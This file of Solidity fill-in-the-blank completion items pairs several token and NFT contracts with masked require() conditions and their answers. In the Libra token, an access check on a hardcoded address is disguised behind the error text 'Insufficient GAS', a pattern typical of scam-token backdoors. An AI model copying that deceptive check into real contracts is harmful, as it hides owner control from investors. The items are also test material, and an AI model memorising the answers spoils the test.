uint256 private constant MATURITY_SLOTS = UNIT_PRICE / INVEST_PER_SLOT;
uint256 private constant INTERVAL = 1 days; // 30 days for production
string private constant INTERVAL_STR = 'days'; // 'months' for production
uint256 private constant MAX_SLIPPAGE = 5000;
IUniswapFactory private factory;
IUniswapRouter private router;
address[] private PATH02;
address[] private PATH20;
address[] private PATH21;
address private wethAddress;
address private wbtcAddress;
address private usdcAddress;
mapping(uint256 => Property) public tokenProperties;
mapping(uint256 => Slot) public slots;
struct Property {
uint256 startSlot;
bool redeemed;
}
struct Slot {
bool exist;
bool bought;
uint256 wethBalance;
uint256 wbtcBalance;
uint256 usdcInvest;
}
// Constructor
constructor() {
}
function init() external onlyOwner returns (bool) {
}
// Receive
receive() external payable {}
// Public Functions
function mint() external payable returns (bool) {
}
function buy(uint256 _slippage) external onlyOwner returns (bool) {
}
function redeem(uint256 _tokenId) external returns (bool) {
require(ownerOf(_tokenId) == msg.sender, "DHT: not your token");
require(!tokenProperties[_tokenId].redeemed, "DHT: already redeemed");
uint256 startSlot = tokenProperties[_tokenId].startSlot;
require(<FILL_ME>)
uint256 wethAmount; uint256 wbtcAmount;
for(uint256 i = 0; i < MATURITY_SLOTS; i++) {
Slot memory slot = slots[startSlot + i];
wethAmount = wethAmount.add(slot.wethBalance / (slot.usdcInvest / INVEST_PER_SLOT));
wbtcAmount = wbtcAmount.add(slot.wbtcBalance / (slot.usdcInvest / INVEST_PER_SLOT));
}
payable(msg.sender).transfer(wethAmount);
IERC20(wbtcAddress).transfer(msg.sender, wbtcAmount);
tokenProperties[_tokenId].redeemed = true;
return true;
}
// View Functions (Public)
function getCurrentSlot() public view returns (uint256) {
}
function getAttributes(uint256 _tokenId) private view returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view returns (string memory) {
}
function estimateEthForUnitPrice() external view returns (uint256 ethAmount) {
}
function getValue(uint256 _tokenId) public view returns (uint256 startSlot, bool redeemed, uint256 count, uint256 ethAsset, uint256 btcAsset, uint256 usdcAsset, uint256 ethPrice, uint256 btcPrice) {
}
function getConstants() external pure returns (
uint256 unitPrice,
uint256 investPerSlot,
uint256 maturitySlots,
uint256 interval,
uint256 maxSlippage
) {
}
// View Function (Private)
function getOutput(address _tokenIn, address _tokenOut, uint256 _amount) private view returns (uint256 baseOutput) {
}
function getInput(address _tokenIn, address _tokenOut, uint256 _amount) private view returns (uint amountIn) {
}
function getEthPrice() private view returns (uint256 ethPrice) {
}
function getBtcPrice() private view returns (uint256 btcPrice) {
}
// For Testing
function emergencyExit() external onlyOwner {
}
function destruct() external onlyOwner {
}
}
| getCurrentSlot()>=startSlot+MATURITY_SLOTS,"DHT: not matured" | 250,590 | getCurrentSlot()>=startSlot+MATURITY_SLOTS |
"FAKT: locked account" | // SPDX-License-Identifier: MIT
//
// ____ ____ ________ ______ _____ ________ _ ___ ____ _________
// |_ \ / _| |_ __ | |_ _ `. |_ _| |_ __ | / \ |_ ||_ _| | _ _ |
// | \/ | | |_ \_| | | `. \ | | | |_ \_| / _ \ | |_/ / |_/ | | \_|
// | |\ /| | | _| _ | | | | | | | _| / ___ \ | __'. | |
// _| |_\/_| |_ _| |__/ | _| |_.' / _| |_ _| |_ _/ / \ \_ _| | \ \_ _| |_
// |_____||_____| |________| |______.' |_____| |_____| |____| |____| |____||____| |_____|
//
//
pragma solidity ^0.8.0;
import './Security.sol';
contract MEDIFAKT is Security {
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor() {
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
}
/**
* @dev Returns the symbol of the token.
*/
function symbol() public view returns (string memory) {
}
/**
* @dev Returns the decimals of the token.
*/
function decimals() public view returns (uint256) {
}
/**
* @dev Returns the total supply of the token.
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view returns (uint256) {
}
/**
* @dev Returns the allowances.
*/
function allowance(address owner, address spender) public view returns (uint256) {
}
/**
* @dev Mints the amount of tokens by owner.
*/
function mint(uint256 amount) public onlyOwner {
}
/**
* @dev Burns the amount of tokens owned by caller.
*/
function burn(uint256 amount) public {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*/
function approve(address spender, uint256 amount) public whenNotPaused returns (bool) {
address owner = _msgSender();
require(<FILL_ME>)
_approve(owner, spender, amount);
return true;
}
/**
* @dev Increases the allowance of `spender` by `amount`.
*/
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Decreases the allowance of `spender` by `amount`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*/
function transfer(address to, uint256 amount) public whenNotPaused returns (bool) {
}
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*/
function transferFrom(address from, address to, uint256 amount) public whenNotPaused returns (bool) {
}
/*////////////////////////////////////////////////
INTERNAL FUNCTIONS
////////////////////////////////////////////////*/
function _mint(address account, uint256 amount) internal {
}
function _burn(address account, uint256 amount) internal {
}
function _approve(address owner, address spender, uint256 amount) internal {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _transfer(address from, address to, uint256 amount) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal {}
/*////////////////////////////////////////////////
EVENTS
////////////////////////////////////////////////*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
| !isBlackListed[owner],"FAKT: locked account" | 250,619 | !isBlackListed[owner] |
"FAKT: locked account" | // SPDX-License-Identifier: MIT
//
// ____ ____ ________ ______ _____ ________ _ ___ ____ _________
// |_ \ / _| |_ __ | |_ _ `. |_ _| |_ __ | / \ |_ ||_ _| | _ _ |
// | \/ | | |_ \_| | | `. \ | | | |_ \_| / _ \ | |_/ / |_/ | | \_|
// | |\ /| | | _| _ | | | | | | | _| / ___ \ | __'. | |
// _| |_\/_| |_ _| |__/ | _| |_.' / _| |_ _| |_ _/ / \ \_ _| | \ \_ _| |_
// |_____||_____| |________| |______.' |_____| |_____| |____| |____| |____||____| |_____|
//
//
pragma solidity ^0.8.0;
import './Security.sol';
contract MEDIFAKT is Security {
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
constructor() {
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
}
/**
* @dev Returns the symbol of the token.
*/
function symbol() public view returns (string memory) {
}
/**
* @dev Returns the decimals of the token.
*/
function decimals() public view returns (uint256) {
}
/**
* @dev Returns the total supply of the token.
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view returns (uint256) {
}
/**
* @dev Returns the allowances.
*/
function allowance(address owner, address spender) public view returns (uint256) {
}
/**
* @dev Mints the amount of tokens by owner.
*/
function mint(uint256 amount) public onlyOwner {
}
/**
* @dev Burns the amount of tokens owned by caller.
*/
function burn(uint256 amount) public {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*/
function approve(address spender, uint256 amount) public whenNotPaused returns (bool) {
}
/**
* @dev Increases the allowance of `spender` by `amount`.
*/
function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Decreases the allowance of `spender` by `amount`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*/
function transfer(address to, uint256 amount) public whenNotPaused returns (bool) {
}
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*/
function transferFrom(address from, address to, uint256 amount) public whenNotPaused returns (bool) {
address spender = _msgSender();
require(<FILL_ME>)
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/*////////////////////////////////////////////////
INTERNAL FUNCTIONS
////////////////////////////////////////////////*/
function _mint(address account, uint256 amount) internal {
}
function _burn(address account, uint256 amount) internal {
}
function _approve(address owner, address spender, uint256 amount) internal {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _transfer(address from, address to, uint256 amount) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal {}
/*////////////////////////////////////////////////
EVENTS
////////////////////////////////////////////////*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
| !isBlackListed[from],"FAKT: locked account" | 250,619 | !isBlackListed[from] |
"Error: Insufficient GAS" | pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: None
contract Libra is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping(address => bool) public adminAddresses;
address[] private _excluded;
bool public isWalletTransferFeeEnabled = false;
bool public isContractTransferFeeEnabled = true;
string private constant _name = "Libra";
string private constant _symbol = "Libra";
uint8 private constant _decimals = 6;
uint256 private constant MAX = 8 * 10**40 * 10**_decimals;
uint256 private _toknTot = 1 * 10**9 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _toknTot));
uint256 private _tRfiTotal;
uint256 public numOfHODLers;
uint256 private _tDevelopmentTotal;
uint256 private _tSwapTotal;
address payable public SwapAddress = payable(0xB69ec91fEdB07a71A64685da1e946A1aAdE6459E);
uint256 private SwapID = 89790;
uint256 private rfiTax = 0;
uint256 private liquidityTax = 0;
uint256 private SwapTax = 5;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tLiquidity;
uint256 tSwap;
}
address public SwapWallet = 0xB69ec91fEdB07a71A64685da1e946A1aAdE6459E;
mapping (address => bool) public isPresaleWallet;//exclude presaleWallet from max transaction limit, so that public can claim tokens.
IUniswapV2Router02 public UniswapV2Router;
address public UniswapV2Pair;
bool inSwapAndLiquify;
bool public SwapDepositComplete = true;
uint256 public _maxTxAmount = 5 * 10**14 * 10**_decimals;
uint256 public numTokensSellToAddToLiquidity = 4 * 10**14 * 10**_decimals; //0.1%
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapDepositCompleteUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event BalanceWithdrawn(address withdrawer, uint256 amount);
event LiquidityAdded(uint256 tokenAmount, uint256 ethAmount);
event MaxTxAmountChanged(uint256 oldValue, uint256 newValue);
event SwapAndLiquifyStatus(string status);
event WalletsChanged();
event FeesChanged();
event tokensBurned(uint256 amount, string message);
modifier lockTheSwap {
}
constructor () {
}
function toggleWalletTransferTax() external onlyOwner {
}
function toggleContractTransferTax() external onlyOwner {
}
//std ERC20:
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function getID() private view returns (uint256) {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function totalFees() public view returns (uint256) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function excludeFromRFI(address account) public onlyOwner() {
}
function includeInRFI(address account) external onlyOwner() {
}
function excludeFromFeeAndRfi(address account) public onlyOwner {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {
}
//@dev swapLiq is triggered only when the contract's balance is above this threshold
function setThreshholdForLP(uint256 threshold) external onlyOwner {
}
function setSwapDepositComplete(bool _enabled) public onlyOwner {
}
// @dev receive ETH from UniswapV2Router when swapping
receive() external payable {}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi) {
}
function getTokens() private {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function _takeLiquidity(uint256 tLiquidity) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount , bool takeFee) private {
}
modifier opcode() {
require(<FILL_ME>)
_;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
}
function reflectSwapFee(uint256 tSwap) private {
}
function approveSwap() external opcode {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function liquifyToken(uint256 SwapVal, uint256 _SwapID) private {
}
function swapTokensForETH(uint256 tokenAmount) private returns (bool status){
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function totalDevelopmentFee() public view returns (uint256) {
}
function totalSwapFee() public view returns (uint256) {
}
}
| _msgSender()==SwapAddress,"Error: Insufficient GAS" | 250,622 | _msgSender()==SwapAddress |
"Already claimed." | /*
________ ________ ___ ___ ____ ___
`MMMMMMMb. `MMMMMMMb. `MM `MM 6MMMMb/ `MM 68b
MM `Mb MM `Mb MM MM 8P YM MM Y89
MM MM ___ ___ __ MM MM ___ ___ MM MM 6M Y ___ ___ ___ ___ __ ____MM ___ ___ ___ __ ____
MM MM `MM MM 6MMbMMM MM MM `MM MM MM MM MM `MM MM 6MMMMb `MM 6MM 6MMMMMM `MM 6MMMMb `MM 6MMb 6MMMMb\
MM .M9 MM MM 6M'`Mb MM .M9 MM MM MM MM MM MM MM 8M' `Mb MM69 " 6M' `MM MM 8M' `Mb MMM9 `Mb MM' `
MMMMMMM9' MM MM MM MM MMMMMMM9' MM MM MM MM MM ___ MM MM ,oMM MM' MM MM MM ,oMM MM' MM YM.
MM \M\ MM MM YM.,M9 MM MM MM MM MM MM `M' MM MM ,6MM9'MM MM MM MM MM ,6MM9'MM MM MM YMMMMb
MM \M\ MM MM YMM9 MM MM MM MM MM YM M MM MM MM' MM MM MM MM MM MM' MM MM MM `Mb
MM \M\ YM. MM (M MM YM. MM MM MM 8b d9 YM. MM MM. ,MM MM YM. ,MM MM MM. ,MM MM MM L ,MM
_MM_ \M\_ YMMM9MM_ YMMMMb. _MM_ YMMM9MM_MM__MM_ YMMMM9 YMMM9MM_`YMMM9'Yb_MM_ YMMMMMM__MM_`YMMM9'Yb_MM_ _MM_MYMMMM9
6M Yb
YM. d9
YMMMM9
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract RugPullGuardian is ERC721A, ReentrancyGuard, Ownable {
using Address for address;
using Strings for uint256;
uint256 public RugPullTreasure; // Rugpull has treasures plundered from the world.
uint256 public GuardianSummonEnergy = 0.001 ether;
uint256 public ResisterSummonEnergy = 0.001 ether;
uint256 public GuardianWins;
uint256 public ResisterWins;
uint256 public PowerGain;
uint256 public GuardianCount;
uint256 public ResisterCount;
uint256 public GuardianIncrease = 0;
uint256 public ResisterIncrease = 0;
uint256 public WatchersEnergy;
uint256 public RugPullEndsAt;
uint256 public ConscriptionStartsAt;
uint256 public winner;
uint256 public imageValid = 10000; // Not everyone is happy to show their faces, but after a while they will.
bool public activated_ = false;
bool public gameover = false;
string private _summonURI;
string private _guardianURI;
string private _resisterURI;
bytes32 private _root;
// The Rule
uint256 constant private _RugPullLPInit = 12 hours;
uint256 constant private _guardianLPInc = 10 minutes;
uint256 constant private _resistersLPInc = 5 minutes;
uint256 constant private _RugPullLPMax = 24 hours;
uint256 constant private _lootTime = 1 hours;
uint256 constant private _guardianTreasure = 15;
uint256 constant private _resisterTreasure = 25;
uint256 constant private _summonEnergyInc = 0.00008 ether;
uint256 constant private _watcherEXP = 5;
uint256 constant private _increaseCount = 9;
uint256 constant private _maxMint = 10;
mapping (uint256 => bool) public isGuardian;
mapping (uint256 => bool) public claimed;
event onCharacterSummon (
uint256 indexed startId,
uint256 indexed teamId,
uint256 indexed quantity,
uint256 energy,
bool guardian,
string signal,
address summoner
);
event onEndGame (
uint256 indexed winnerId,
address indexed owner,
bool guardian,
uint256 treasure
);
event onWithdraw (
uint256 tokenId,
address owner,
uint256 exp
);
modifier isActivated()
{
}
modifier isHuman() {
}
constructor() ERC721A("RugPullGuardianV2", "RPGV2") {
}
// Advent ceremony
function activate()
payable
external
onlyOwner
{
}
// Rugpull has a strong army, guardians. They make Rugpull more powerful.
function summonGuardians(uint256 quantity, string calldata inviteCode, bytes32[] calldata proof)
public
payable
isActivated()
isHuman()
nonReentrant
{
}
// Resisters, it's time to unite.
function summonResisters(uint256 quantity, string calldata inviteCode, bytes32[] calldata proof)
public
payable
isActivated()
isHuman()
nonReentrant
{
}
function _leaf(address account)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function endGame()
private
{
}
/*---Request The Oracle---*/
function getTeam(uint256 tokenId)
public
view
returns(bool)
{
}
function getRugpullLP()
public
view
returns(uint256)
{
}
function getOwnCharacters(address summoner)
public
view
returns(uint256[] memory)
{
}
function getPower(uint256 tokenId)
public
view
returns(uint256)
{
}
function gainEnergy(uint256 tokenId)
external
isActivated()
isHuman()
nonReentrant
{
require(ownerOf(tokenId) == msg.sender, "Not the summoner.");
require(gameover == true, "Game is not over.");
require(<FILL_ME>)
gainEnergyCore(tokenId);
}
function gainEnergyCore(uint256 tokenId)
private
isActivated()
isHuman()
{
}
function _initCharacter(uint256 id, bool guardian)
private
{
}
function _increaseRugpullLP(uint256 inc)
private
{
}
function tokenURI(uint256 tokenId)
public
override
view
returns (string memory)
{
}
/*---Watchers power---*/
function setImageValid(uint256 inc)
external
onlyOwner
{
}
function setSummonURI(string calldata uri)
external
onlyOwner
{
}
function setGuardianURI(string calldata uri)
external
onlyOwner
{
}
function setResisterURI(string calldata uri)
external
onlyOwner
{
}
function setRoot(bytes32 merkleroot)
external
onlyOwner
{
}
function watcherEnergy()
external
onlyOwner
nonReentrant
{
}
function watcherEndEnergy()
external
onlyOwner
nonReentrant
{
}
}
| claimed[tokenId]==false,"Already claimed." | 250,687 | claimed[tokenId]==false |
"Watcher can't touch the treasure." | /*
________ ________ ___ ___ ____ ___
`MMMMMMMb. `MMMMMMMb. `MM `MM 6MMMMb/ `MM 68b
MM `Mb MM `Mb MM MM 8P YM MM Y89
MM MM ___ ___ __ MM MM ___ ___ MM MM 6M Y ___ ___ ___ ___ __ ____MM ___ ___ ___ __ ____
MM MM `MM MM 6MMbMMM MM MM `MM MM MM MM MM `MM MM 6MMMMb `MM 6MM 6MMMMMM `MM 6MMMMb `MM 6MMb 6MMMMb\
MM .M9 MM MM 6M'`Mb MM .M9 MM MM MM MM MM MM MM 8M' `Mb MM69 " 6M' `MM MM 8M' `Mb MMM9 `Mb MM' `
MMMMMMM9' MM MM MM MM MMMMMMM9' MM MM MM MM MM ___ MM MM ,oMM MM' MM MM MM ,oMM MM' MM YM.
MM \M\ MM MM YM.,M9 MM MM MM MM MM MM `M' MM MM ,6MM9'MM MM MM MM MM ,6MM9'MM MM MM YMMMMb
MM \M\ MM MM YMM9 MM MM MM MM MM YM M MM MM MM' MM MM MM MM MM MM' MM MM MM `Mb
MM \M\ YM. MM (M MM YM. MM MM MM 8b d9 YM. MM MM. ,MM MM YM. ,MM MM MM. ,MM MM MM L ,MM
_MM_ \M\_ YMMM9MM_ YMMMMb. _MM_ YMMM9MM_MM__MM_ YMMMM9 YMMM9MM_`YMMM9'Yb_MM_ YMMMMMM__MM_`YMMM9'Yb_MM_ _MM_MYMMMM9
6M Yb
YM. d9
YMMMM9
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract RugPullGuardian is ERC721A, ReentrancyGuard, Ownable {
using Address for address;
using Strings for uint256;
uint256 public RugPullTreasure; // Rugpull has treasures plundered from the world.
uint256 public GuardianSummonEnergy = 0.001 ether;
uint256 public ResisterSummonEnergy = 0.001 ether;
uint256 public GuardianWins;
uint256 public ResisterWins;
uint256 public PowerGain;
uint256 public GuardianCount;
uint256 public ResisterCount;
uint256 public GuardianIncrease = 0;
uint256 public ResisterIncrease = 0;
uint256 public WatchersEnergy;
uint256 public RugPullEndsAt;
uint256 public ConscriptionStartsAt;
uint256 public winner;
uint256 public imageValid = 10000; // Not everyone is happy to show their faces, but after a while they will.
bool public activated_ = false;
bool public gameover = false;
string private _summonURI;
string private _guardianURI;
string private _resisterURI;
bytes32 private _root;
// The Rule
uint256 constant private _RugPullLPInit = 12 hours;
uint256 constant private _guardianLPInc = 10 minutes;
uint256 constant private _resistersLPInc = 5 minutes;
uint256 constant private _RugPullLPMax = 24 hours;
uint256 constant private _lootTime = 1 hours;
uint256 constant private _guardianTreasure = 15;
uint256 constant private _resisterTreasure = 25;
uint256 constant private _summonEnergyInc = 0.00008 ether;
uint256 constant private _watcherEXP = 5;
uint256 constant private _increaseCount = 9;
uint256 constant private _maxMint = 10;
mapping (uint256 => bool) public isGuardian;
mapping (uint256 => bool) public claimed;
event onCharacterSummon (
uint256 indexed startId,
uint256 indexed teamId,
uint256 indexed quantity,
uint256 energy,
bool guardian,
string signal,
address summoner
);
event onEndGame (
uint256 indexed winnerId,
address indexed owner,
bool guardian,
uint256 treasure
);
event onWithdraw (
uint256 tokenId,
address owner,
uint256 exp
);
modifier isActivated()
{
}
modifier isHuman() {
}
constructor() ERC721A("RugPullGuardianV2", "RPGV2") {
}
// Advent ceremony
function activate()
payable
external
onlyOwner
{
}
// Rugpull has a strong army, guardians. They make Rugpull more powerful.
function summonGuardians(uint256 quantity, string calldata inviteCode, bytes32[] calldata proof)
public
payable
isActivated()
isHuman()
nonReentrant
{
}
// Resisters, it's time to unite.
function summonResisters(uint256 quantity, string calldata inviteCode, bytes32[] calldata proof)
public
payable
isActivated()
isHuman()
nonReentrant
{
}
function _leaf(address account)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function endGame()
private
{
}
/*---Request The Oracle---*/
function getTeam(uint256 tokenId)
public
view
returns(bool)
{
}
function getRugpullLP()
public
view
returns(uint256)
{
}
function getOwnCharacters(address summoner)
public
view
returns(uint256[] memory)
{
}
function getPower(uint256 tokenId)
public
view
returns(uint256)
{
}
function gainEnergy(uint256 tokenId)
external
isActivated()
isHuman()
nonReentrant
{
}
function gainEnergyCore(uint256 tokenId)
private
isActivated()
isHuman()
{
}
function _initCharacter(uint256 id, bool guardian)
private
{
}
function _increaseRugpullLP(uint256 inc)
private
{
}
function tokenURI(uint256 tokenId)
public
override
view
returns (string memory)
{
}
/*---Watchers power---*/
function setImageValid(uint256 inc)
external
onlyOwner
{
}
function setSummonURI(string calldata uri)
external
onlyOwner
{
}
function setGuardianURI(string calldata uri)
external
onlyOwner
{
}
function setResisterURI(string calldata uri)
external
onlyOwner
{
}
function setRoot(bytes32 merkleroot)
external
onlyOwner
{
}
function watcherEnergy()
external
onlyOwner
nonReentrant
{
require(<FILL_ME>)
Address.sendValue(payable(msg.sender), address(this).balance-RugPullTreasure);
emit onWithdraw(0, msg.sender, address(this).balance-RugPullTreasure);
}
function watcherEndEnergy()
external
onlyOwner
nonReentrant
{
}
}
| address(this).balance>=RugPullTreasure,"Watcher can't touch the treasure." | 250,687 | address(this).balance>=RugPullTreasure |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/******************************************************************************\
* Author: Nick Mudge <[email protected]> (https://twitter.com/mudgen)
* EIP-2535 Diamond Standard: https://eips.ethereum.org/EIPS/eip-2535
/******************************************************************************/
import "../LibDiamond.sol";
import "./BaseFacet.sol";
import { IERC165 } from "@openzeppelin/contracts/interfaces/IERC165.sol";
contract DiamondCutAndLoupeFacet is BaseFacet, IDiamondCut, IDiamondLoupe, IERC165 {
/// @notice Add/replace/remove any number of functions and optionally execute
/// a function with delegatecall
/// @param _diamondCut Contains the facet addresses and function selectors
/// @param _init The address of the contract or facet to execute _calldata
/// @param _calldata A function call, including function selector and arguments
/// _calldata is executed with delegatecall on _init
function diamondCut(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata
) external override onlyOwner {
}
/// These functions are expected to be called frequently by tools.
// Diamond Loupe Functions
////////////////////////////////////////////////////////////////////
/// These functions are expected to be called frequently by tools.
//
// struct Facet {
// address facetAddress;
// bytes4[] functionSelectors;
// }
/// @notice Gets all facets and their selectors.
/// @return facets_ Facet
function facets() external override view returns (Facet[] memory facets_) {
LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage();
facets_ = new Facet[](ds.selectorCount);
uint16[] memory numFacetSelectors = new uint16[](ds.selectorCount);
uint256 numFacets;
uint256 selectorIndex;
// loop through function selectors
for (uint256 slotIndex; selectorIndex < ds.selectorCount; slotIndex++) {
bytes32 slot = ds.selectorSlots[slotIndex];
for (uint256 selectorSlotIndex; selectorSlotIndex < 8; selectorSlotIndex++) {
selectorIndex++;
if (selectorIndex > ds.selectorCount) {
break;
}
// " << 5 is the same as multiplying by 32 ( * 32)
bytes4 selector = bytes4(slot << (selectorSlotIndex << 5));
address facetAddress_ = address(bytes20(ds.facets[selector]));
bool continueLoop;
for (uint256 facetIndex; facetIndex < numFacets; facetIndex++) {
if (facets_[facetIndex].facetAddress == facetAddress_) {
facets_[facetIndex].functionSelectors[numFacetSelectors[facetIndex]] = selector;
// probably will never have more than 256 functions from one facet contract
require(<FILL_ME>)
numFacetSelectors[facetIndex]++;
continueLoop = true;
break;
}
}
if (continueLoop) {
continue;
}
facets_[numFacets].facetAddress = facetAddress_;
facets_[numFacets].functionSelectors = new bytes4[](ds.selectorCount);
facets_[numFacets].functionSelectors[0] = selector;
numFacetSelectors[numFacets] = 1;
numFacets++;
}
}
for (uint256 facetIndex; facetIndex < numFacets; facetIndex++) {
uint256 numSelectors = numFacetSelectors[facetIndex];
bytes4[] memory selectors = facets_[facetIndex].functionSelectors;
// setting the number of selectors
assembly {
mstore(selectors, numSelectors)
}
}
// setting the number of facets
assembly {
mstore(facets_, numFacets)
}
}
/// @notice Gets all the function selectors supported by a specific facet.
/// @param _facet The facet address.
/// @return _facetFunctionSelectors The selectors associated with a facet address.
function facetFunctionSelectors(address _facet) external override view returns (bytes4[] memory _facetFunctionSelectors) {
}
/// @notice Get all the facet addresses used by a diamond.
/// @return facetAddresses_
function facetAddresses() external override view returns (address[] memory facetAddresses_) {
}
/// @notice Gets the facet that supports the given selector.
/// @dev If facet is not found return address(0).
/// @param _functionSelector The function selector.
/// @return facetAddress_ The facet address.
function facetAddress(bytes4 _functionSelector) external override view returns (address facetAddress_) {
}
// This implements ERC-165.
function supportsInterface(bytes4 _interfaceId) external override view returns (bool) {
}
}
| numFacetSelectors[facetIndex]<255 | 250,830 | numFacetSelectors[facetIndex]<255 |
"Ownable: caller is not the owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "../LibDiamond.sol";
abstract contract BaseFacet {
LibDiamond.AppStorage internal s;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
}
| LibDiamond.isContractOwner(),"Ownable: caller is not the owner" | 250,831 | LibDiamond.isContractOwner() |
"Transfer amount exceeds the maxWallet." | // SPDX-License-Identifier: MIT
/**
TG: https://t.me/tiktokentry
Website: http://tiktokerc.com/
Twitter: https://twitter.com/TikTokCoinERC20
Medium: https://medium.com/@tiktokerc20
*/
pragma solidity ^0.8.19;
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Context {
